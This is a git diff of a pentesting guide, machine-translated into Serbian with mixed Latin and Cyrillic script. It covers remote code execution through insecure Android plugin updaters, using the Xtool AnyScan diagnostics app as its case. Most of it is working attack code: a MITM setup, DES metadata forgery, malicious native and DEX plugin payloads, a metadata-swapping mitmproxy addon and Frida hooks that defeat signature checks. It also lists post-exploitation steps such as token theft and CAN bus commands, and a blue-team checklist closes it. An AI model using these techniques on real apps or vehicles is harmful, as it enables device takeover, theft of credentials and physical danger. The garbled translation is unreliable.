Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap

This commit is contained in:
Translator 2025-08-27 04:09:36 +00:00
parent b2c23d00b6
commit fba108249f

View File

@ -2,15 +2,48 @@
{{#include ../../banners/hacktricks-training.md}}
Mnoge Android aplikacije implementiraju **svoje “plugin” ili “dinamičke funkcije” kanale za ažuriranje** umesto korišćenja Google Play prodavnice. Kada je implementacija nesigurna, napadač sposoban da presretne saobraćaj može da obezbedi **arbitrarni nativni kod koji će biti učitan unutar procesa aplikacije**, što dovodi do potpune Remote Code Execution (RCE) na uređaju i u nekim slučajevima na bilo kom spoljnjem uređaju koji kontroliše aplikacija (automobili, IoT, medicinski uređaji …).
Mnoge Android aplikacije implementiraju sopstvene “plugin” ili “dynamic feature” update kanale umesto da koriste Google Play Store. Kada je implementacija nesigurna, napadač koji može da presretne ili izmeni update saobraćaj može da isporuči proizvoljan native ili Dalvik/ART kod koji će biti učitan unutar procesa aplikacije, što dovodi do potpunog Remote Code Execution (RCE) na handsetu — i u nekim slučajevima i na bilo kojem eksternom uređaju kojim aplikacija upravlja (automobili, IoT, medicinski uređaji …).
Ova stranica sumira lanac ranjivosti iz stvarnog sveta pronađen u Xtool **AnyScan** aplikaciji za dijagnostiku automobila (v4.40.11 → 4.40.40) i generalizuje tehniku kako biste mogli da auditujete druge Android aplikacije i iskoristite pogrešnu konfiguraciju tokom red-team angažovanja.
Ova stranica sažima realan lanac ranjivosti pronađen u Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) i generalizuje tehniku tako da možete da audit druge Android aplikacije i weaponise pogrešnu konfiguraciju tokom red-team angažmana.
---
## 1. Identifying an Insecure TLS TrustManager
## 0. Quick triage: does the app have an inapp updater?
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
Statički indikatori za traženje u JADX/apktool:
- Stringovi: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Mrežni endpointi poput `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Crypto helperi blizu update putanja (DES/AES/RC4; Base64; JSON/XML packs).
- Dinamički loaderi: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Unzip putanje koje zapisuju pod app-internal ili external storage, pa zatim odmah učitavaju `.so`/DEX.
Runtime hooks to confirm:
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. Identifikacija nesigurnog TLS TrustManager-a
1. Dekompajlirajte APK pomoću jadx / apktool i pronađite mrežni stack (OkHttp, HttpUrlConnection, Retrofit…).
2. Potražite prilagođeni `TrustManager` ili `HostnameVerifier` koji bezpogovorno veruje svakom sertifikatu:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
};
}
```
3. Ako je prisutan, aplikacija će prihvatiti **bilo koji TLS sertifikat** → možete pokrenuti transparentni **MITM proxy** sa sertifikatom koji ste sami potpisali:
3. Ako je prisutno, aplikacija će prihvatiti bilo koji TLS certificate → možete pokrenuti transparentni MITM proxy sa self-signed cert:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Obrnuto inženjerstvo metapodataka ažuriranja
Ako je TLS pinning primenjen umesto unsafe trust-all logic, pogledajte:
U slučaju AnyScan, svaki pokretanje aplikacije pokreće HTTPS GET na:
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Reverse-Engineering Update metapodataka
U slučaju AnyScan, svako pokretanje aplikacije pokreće HTTPS GET ka:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
Odgovor telo je **XML dokument** čiji `<FileData>` čvorovi sadrže **Base64-enkodiran, DES-ECB enkriptovan** JSON koji opisuje svaki dostupni plugin.
Telo odgovora je XML dokument čiji `<FileData>` чворови сadrže Base64-encoded, DES-ECB encrypted JSON који описuje svaki dostupan plugin.
Tipični koraci u potrazi:
1. Pronađite kripto rutinu (npr. `RemoteServiceProxy`) i povratite:
* algoritam (DES / AES / RC4 …)
* način rada (ECB / CBC / GCM …)
* hard-kodirani ključ / IV (često 56-bitni DES ključevi ili 128-bitni AES ključevi u konstantama)
2. Ponovno implementirajte funkciju u Python-u za dekriptovanje / enkriptovanje metapodataka:
Tipični koraci:
1. Pronađite crypto routine (npr. `RemoteServiceProxy`) i otkrijte:
- algoritam (DES / AES / RC4 …)
- način rada (ECB / CBC / GCM …)
- hard-coded ključ / IV (obično 56bit DES или 128bit AES konstante)
2. Ponovo implementirajte funkciju u Pythonu da dešifrujete / šifrujete metapodatke:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. Napravite Zloćudni Plugin
Notes seen in the wild (20232025):
- Metadata je često JSON-within-XML ili protobuf; weak ciphers i static keys su uobičajeni.
- Mnogi updaters prihvataju plain HTTP za stvarni payload download čak i ako metadata dolazi preko HTTPS.
- Plugins često unzipuju u app-internal storage; neki i dalje koriste external storage ili legacy `requestLegacyExternalStorage`, što omogućava cross-app tampering.
1. Izaberite bilo koji legitimni plugin ZIP i zamenite nativnu biblioteku sa vašim payload-om:
---
## 3. Craft a Malicious Plugin
### 3.1 Native library path (dlopen/System.load[Library])
1. Odaberite bilo koji legitimni plugin ZIP i zamenite native library vašim payload-om:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Ažurirajte JSON metapodatke tako da `"FileName" : "PWNED.zip"` i `"DownloadURL"` upućuje na vaš HTTP server.
3. DES-enkripcija + Base64-enkodiranje izmenjenog JSON-a i kopiranje nazad unutar presretnutog XML-a.
2. Ažurirajte JSON metapodatke tako da `"FileName" : "PWNED.zip"` i `"DownloadURL"` upućuju na vaš HTTP server.
3. Ponovo šifrujte + Base64kodirajte izmenjeni JSON i kopirajte ga nazad u presretnuti XML.
## 4. Isporuka Payload-a sa mitmproxy
### 3.2 Dex-based putanja plugina (DexClassLoader)
`addon.py` primer koji *tiho* menja originalne metapodatke:
Neke aplikacije preuzimaju JAR/APK i učitavaju kod preko `DexClassLoader`. Napravite maliciozni DEX koji se aktivira pri učitavanju:
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
Ako cilj pozove `Class.forName("pwn.Dropper")` vaš statički inicijalizator se izvršava; u suprotnom, reflektivno izlistajte učitane klase pomoću Frida i pozovite izvezeni metod.
---
## 4. Isporuka Payload-a pomoću mitmproxy
`addon.py` primer koji neprimetno zamenjuje originalne metapodatke:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
@ -89,36 +166,69 @@ MOD_XML,
{"Content-Type": "text/xml"}
)
```
Pokrenite jednostavan veb server za hostovanje malicioznog ZIP-a:
Pokrenite jednostavan web server da hostujete zlonamerni ZIP/JAR:
```bash
python3 -m http.server 8000 --directory ./payloads
```
Kada žrtva pokrene aplikaciju, ona će:
* preuzeti naš lažirani XML preko MITM kanala;
* dekriptovati i analizirati ga sa hard-kodiranim DES ključem;
* preuzeti `PWNED.zip` → raspakovati unutar privatne memorije;
* `dlopen()` uključeni *libscan_x64.so*, odmah izvršavajući naš kod **sa dozvolama aplikacije** (kamera, GPS, Bluetooth, sistem datoteka, …).
Kada žrtva pokrene aplikaciju она će:
- preuzeti наш falsifikovani XML preko MITM канала;
- dešifrovati i parsirati га користећи hard-coded crypto;
- preuzeti `PWNED.zip` или `plugin.jar` → распаковати у приватно складиште;
- učitati uključeni `.so` или DEX, odmah izvršavajući наш код са permisijama aplikacije (camera, GPS, Bluetooth, filesystem, …).
Pošto je dodatak keširan na disku, backdoor **ostaje aktivan nakon ponovnog pokretanja** i pokreće se svaki put kada korisnik odabere povezanu funkciju.
## 5. Ideje za post-eksploataciju
* Ukrao sesijske kolačiće, OAuth tokene ili JWT-ove koje aplikacija čuva.
* Postaviti APK druge faze i tiho ga instalirati putem `pm install` (aplikacija već ima `REQUEST_INSTALL_PACKAGES`).
* Zloupotrebljavati bilo koji povezani hardver u AnyScan scenariju možete slati proizvoljne **OBD-II / CAN bus komande** (otključavanje vrata, onemogućavanje ABS-a, itd.).
Pošto је plugin keširan на диску backdoor opstaje после ponovnog pokretanja и pokreće се svaki пут кад korisnik изабере одговарајућу функцију.
---
### Lista za detekciju i ublažavanje (plavi tim)
## 4.1 Zaobilaženje provera potpisa/hash-a (kada su prisutne)
* NIKADA ne šaljite produkcijsku verziju sa prilagođenim TrustManager/HostnameVerifier koji onemogućava validaciju sertifikata.
* Ne preuzimajte izvršni kod sa spolja van Google Play-a. Ako *morate*, potpišite svaki dodatak istim **apkSigning v2** ključem i proverite potpis pre učitavanja.
* Zamenite slabu/hard-kodiranu kriptografiju sa **AES-GCM** i rotirajućim ključem na serverskoj strani.
* Validirajte integritet preuzetih arhiva (potpis ili barem SHA-256).
Ako updater validira potpise ili hash-eve, hook-ujte verifikaciju tako da uvek prihvata sadržaj napadača:
```js
// Frida make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
Takođe razmotrite stubbing vendor metoda kao što su `PluginVerifier.verifySignature()`, `checkHash()`, or shortcircuiting update gating logic in Java or JNI.
---
## Reference
## 5. Ostale površine napada u mehanizmima za ažuriranje (20232025)
- Zip Slip path traversal pri ekstrakciji pluginova: zlonamerne stavke kao `../../../../data/data/<pkg>/files/target` mogu prepisati proizvoljne fajlove. Uvek sanitizujte putanje stavki i koristite allowliste.
- Spoljno skladištenje za staging: ako aplikacija upisuje arhivu na external storage pre učitavanja, bilo koja druga aplikacija može da je manipuliše. Scoped Storage ili interno skladište aplikacije to izbegavaju.
- Cleartext downloads: metadata preko HTTPS ali payload preko HTTP → jednostavna MITM zamena.
- Nepotpune provere potpisa: poređenje samo jednog hasha fajla, a ne cele arhive; nepripajanje potpisa developer ključu; prihvatanje bilo kog RSA ključa prisutnog u arhivi.
- React Native / Webbased OTA sadržaj: ako native bridgeovi izvršavaju JS iz OTA bez stroge potpisne verifikacije, moguće je izvršenje proizvoljnog koda u kontekstu aplikacije (npr. insecure CodePushlike tokovi). Obavezno odvojeno potpisivanje updateova i stroga verifikacija.
---
## 6. Ideje za posteksploataciju
- Ukradite session cookies, OAuth tokene, ili JWTove koje aplikacija čuva.
- Spustite secondstage APK i tiho ga instalirajte preko `pm install` ako je moguće (neke aplikacije već deklarišu `REQUEST_INSTALL_PACKAGES`).
- Zlorabite povezani hardware u AnyScan scenariju možete poslati proizvoljne OBDII / CAN bus komande (otključavanje vrata, onemogućavanje ABSa, itd.).
---
### Kontrolna lista za detekciju i mitigaciju (blue team)
- Izbegavajte dynamic code loading i outofstore updates. Prefer Playmediated updates. Ako su dynamic plugins neophodni, dizajnirajte ih kao samopodatkovne bundleove i držite izvršni kod u base APKu.
- Primorajte ispravan TLS: bez custom trustall managera; primenite pinning gde je moguće i hardened network security config koji zabranjuje cleartext saobraćaj.
- Ne preuzimajte izvršni kod van Google Play. Ako morate, koristite detached update signing (npr. Ed25519/RSA) sa ključem koji drži developer i verifikujte pre učitavanja. Bindujte metadata i payload (dužina, hash, verzija) i u slučaju neuspeha fail closed.
- Koristite modernu kriptografiju (AESGCM) sa permessage nonces za metadata; uklonite hardkodirane ključeve iz klijenata.
- Potvrdite integritet preuzetih arhiva: verifikujte potpis koji pokriva svaki fajl, ili barem verifikujte manifest SHA256 hasheva. Odbacite dodatne/neosnovane fajlove.
- Čuvajte preuzimanja u appinternal storage (ili scoped storage na Android 10+) i koristite dozvole fajlova koje sprečavaju crossapp manipulaciju.
- Branite se od Zip Slip: normalizujte i validirajte zip entry putanje pre ekstrakcije; odbacite apsolutne putanje ili `..` segmente.
- Razmotrite Play “Code Transparency” da omogućite vama i korisnicima da verifikuju da li DEX/native kod koji je isporučen odgovara onome što ste izgradili (dopuna, ali ne zamena APK signinga).
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
- [Android Developers Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}}